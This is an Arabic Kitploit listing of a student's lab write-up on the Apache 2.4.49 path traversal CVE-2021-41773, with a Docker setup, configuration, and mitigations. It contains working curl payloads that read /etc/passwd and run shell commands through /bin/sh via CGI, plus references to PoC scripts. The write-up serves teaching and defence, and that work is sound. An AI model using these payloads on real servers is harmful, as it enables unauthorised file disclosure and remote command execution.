Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Apache-CVE-2021-41773 — WHS الفترة الرابعة إي هي-سو. تقديم مهمة kr-vulhub. | Kitploit
أدوات/GitHubGitHub/lheeeesoo/apache-cve-2021-41773
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHublheeeesoo/apache-cve-2021-41773

Apache-CVE-2021-41773

WHS الفترة الرابعة إي هي-سو. تقديم مهمة kr-vulhub.

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-41773 Apache HTTP Server Path Traversal

المساهمون

이희수(@lheeeesoo)


يوجد ثغرة في Apache HTTP Server 2.4.49، حيث يفشل في حظر المسار الأصلي المشفر بشكل صحيح أثناء عملية تطبيع مسار URL.

يمكن للمهاجم استخدام قيمة مثل .%2e للانتقال خارج الدليل الذي تم تكوين الخادم لمشاركته. في البيئات التي يُسمح فيها بالوصول إلى الدلائل الخارجية، قد تتعرض الملفات الداخلية للخادم للكشف، وإذا تم تفعيل ميزة CGI، فقد يؤدي ذلك إلى تنفيذ أوامر عن بُعد عبر تشغيل شيل النظام.

في هذا المشروع، نستخدم Docker لإعداد بيئة Apache HTTP Server 2.4.49 بأنفسنا، وأعدنا إنتاج ما يلي:

  • كشف ملف /etc/passwd عبر Path Traversal
  • تنفيذ الأوامر عن بُعد باستخدام CGI

هيكل المشروع

root@kitploit:~
CVE-2021-41773/
├── Dockerfile
├── docker-compose.yml
├── README.md
├── apache/
│   └── httpd.conf
├── web/
│   └── index.html
├── scripts/
│   ├── poc.sh
│   └── poc.ps1
└── screenshots/
    ├── 01-container-status.png
    ├── 02-normal-service.png
    ├── 03-apache-version.png
    ├── 04-path-traversal.png
    ├── 05-rce-whoami.png
    └── 06-poc-script.png

إعداد البيئة

قم بتشغيل الأوامر التالية لبناء صورة Docker وتشغيل الحاوية:

root@kitploit:~
docker compose up -d --build

تحقق من حالة تشغيل الحاوية باستخدام الأمر التالي:

root@kitploit:~
docker ps

تأكد من أن الحاوية في حالة Up، وأن منفذ 8080 على المضيف متصل بمنفذ 80 في الحاوية.


التحقق من الخدمة العادية

افتح المتصفح على العنوان التالي:

root@kitploit:~
http://localhost:8080

يجب أن ترى صفحة Apache الافتراضية، مما يؤكد نجاح إعداد البيئة.


التحقق من إصدار Apache

تحقق من إصدار Apache داخل الحاوية باستخدام الأمر التالي:

root@kitploit:~
docker compose exec web /usr/local/apache2/bin/httpd -v

النتيجة:

root@kitploit:~
Server version: Apache/2.4.49 (Unix)

يؤكد ذلك تشغيل Apache HTTP Server 2.4.49 المتأثر بـ CVE-2021-41773.


شروط الثغرة

في بيئة الممارسة هذه، تم تطبيق الشروط التالية:

  • استخدام Apache HTTP Server 2.4.49
  • استخدام مسارات Alias و ScriptAlias
  • السماح بالوصول إلى الدلائل خارج جذر الويب
  • تفعيل ميزة CGI
  • تشغيل عملية Apache بحساب daemon

يسمح إعداد Apache بالوصول إلى مسار الجذر لنظام الملفات كما يلي:

root@kitploit:~
<Directory "/">
    AllowOverride None
    Require all granted
</Directory>

كما تم استخدام التكوين التالي لتمكين CGI:

root@kitploit:~
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"

<Directory "/usr/local/apache2/cgi-bin">
    AllowOverride None
    Options +ExecCGI
    Require all granted
</Directory>

Path Traversal

الطلب التالي يستخدم مسارًا أصليًا مشفرًا للوصول إلى ملف /etc/passwd داخل الحاوية:

root@kitploit:~
curl --path-as-is "http://localhost:8080/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"

يتم تفسير .%2e كـ .. بعد فك تشفير URL.

لذا يمكن للمهاجم التنقل لأعلى عدة مستويات من مسار Alias ثم الوصول إلى ملف /etc/passwd.

النتيجة:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

يحتوي /etc/passwd على معلومات حسابات النظام مثل اسم المستخدم و UID و GID ودليل المنزل وشيل تسجيل الدخول.

على الرغم من أنه لا يحتوي على كلمات المرور الفعلية، إلا أن ملفًا داخليًا للخادم لا ينبغي لمستخدمي الويب العاديين الوصول إليه قد تم كشفه عبر طلب HTTP فقط، مما يؤكد وجود ثغرة كشف معلومات.

في البيئات الإنتاجية الفعلية، قد يتم كشف المعلومات الحساسة التالية بنفس الطريقة:

  • ملفات تكوين التطبيقات
  • معلومات اتصال قاعدة البيانات
  • مفاتيح API ومعلومات المصادقة
  • كود المصدر
  • ملفات السجلات
  • الشهادات والمفاتيح الخاصة

تنفيذ الأوامر عبر CGI

الطلب التالي يستخدم Path Traversal للوصول إلى /bin/sh وتنفيذ أمر whoami:

root@kitploit:~
curl -s --path-as-is \
  -d "echo Content-Type: text/plain; echo; whoami" \
  "http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"

النتيجة:

root@kitploit:~
daemon

بما أن المسار /cgi-bin/ تم تعيينه عبر ScriptAlias، فإن Apache لا يقرأ الملف فقط بل ينفذه كبرنامج CGI.

بعد الوصول إلى /bin/sh عبر Path Traversal، يتم تمرير الأوامر المضمنة في جسم الطلب، ويتم تنفيذها بصلاحيات حساب تشغيل Apache.

في هذه البيئة، يعمل Apache بالحساب التالي:

root@kitploit:~
User daemon
Group daemon

لذا تم تنفيذ الأوامر بحساب daemon.

على الرغم من أنه ليس بحساب root، إلا أن هناك تهديدات إضافية محتملة:

  • تعديل ملفات تطبيق الويب
  • سرقة ملفات التكوين ومعلومات المصادقة
  • تنزيل وتنفيذ ملفات ضارة
  • استكشاف الشبكة الداخلية
  • رفع الصلاحيات باستخدام ثغرات إضافية

تشغيل سكريبت PoC

بدلاً من الأوامر الفردية، يمكن استخدام سكريبت PoC للتحقق من الخدمة العادية و Path Traversal وتنفيذ الأوامر عن بُعد مرة واحدة.

PowerShell

root@kitploit:~
powershell -ExecutionPolicy Bypass -File .\scripts\poc.ps1

Bash

root@kitploit:~
bash scripts/poc.sh

يتحقق السكريتب من العناصر التالية بالترتيب:

root@kitploit:~
[1] التحقق من الخدمة العادية
[2] الوصول إلى /etc/passwd عبر Path Traversal
[3] تنفيذ أمر id عبر CGI


إجراءات التصدي

تحديث إصدار Apache

يجب عدم استخدام Apache HTTP Server 2.4.49، والترقية إلى أحدث إصدار يحتوي على تصحيحات الأمان.

منع الوصول إلى الدليل الجذر

في البيئات الإنتاجية، يجب حظر الوصول إلى مسار الجذر لنظام الملفات افتراضيًا:

root@kitploit:~
<Directory "/">
    Require all denied
</Directory>

اسمح فقط بالوصول إلى دلائل الويب الضرورية بشكل منفصل:

root@kitploit:~
<Directory "/usr/local/apache2/htdocs">
    Require all granted
</Directory>

تعطيل CGI غير الضروري

إذا لم تكن ميزة CGI مطلوبة، قم بتعطيل المكونات التالية:

  • mod_cgi
  • ScriptAlias
  • ExecCGI

تطبيق الحد الأدنى من الصلاحيات

يجب تشغيل عملية Apache بحساب خدمة محدود (وليس root)، وتقليل الملفات والدلائل التي يمكن لهذا الحساب الوصول إليها.

مراقبة السجلات

يجب اكتشاف وحظر الطلبات التي تحتوي على مسارات غير طبيعية مثل:

root@kitploit:~
.%2e
%2e%2e
/cgi-bin/

إيقاف البيئة

root@kitploit:~
docker compose down

الخاتمة

في هذه الممارسة، قمنا ببناء Apache HTTP Server 2.4.49 باستخدام Dockerfile، وأنشأنا بيئة ثغرة قابلة للتكرار عبر Docker Compose.

أظهرت طلبات Path Traversal كشف ملف /etc/passwd الداخلي للحاوية الذي لا ينبغي لمستخدمي الويب العاديين الوصول إليه.

كما أكدنا أنه في البيئات التي تحتوي على CGI نشط، يمكن الوصول إلى /bin/sh وتنفيذ أوامر النظام بصلاحيات حساب daemon الذي يعمل عليه Apache.

وبذلك نؤكد أن CVE-2021-41773 ليست مجرد ثغرة كشف مسار، بل يمكن أن تؤدي إلى تنفيذ أوامر عن بُعد اعتمادًا على تكوين البيئة.


المراجع

  • Apache HTTP Server Security Vulnerabilities
  • NVD CVE-2021-41773
  • Apache HTTP Server URL Mapping Documentation
  • Apache CGI Documentation
تنزيل الأداة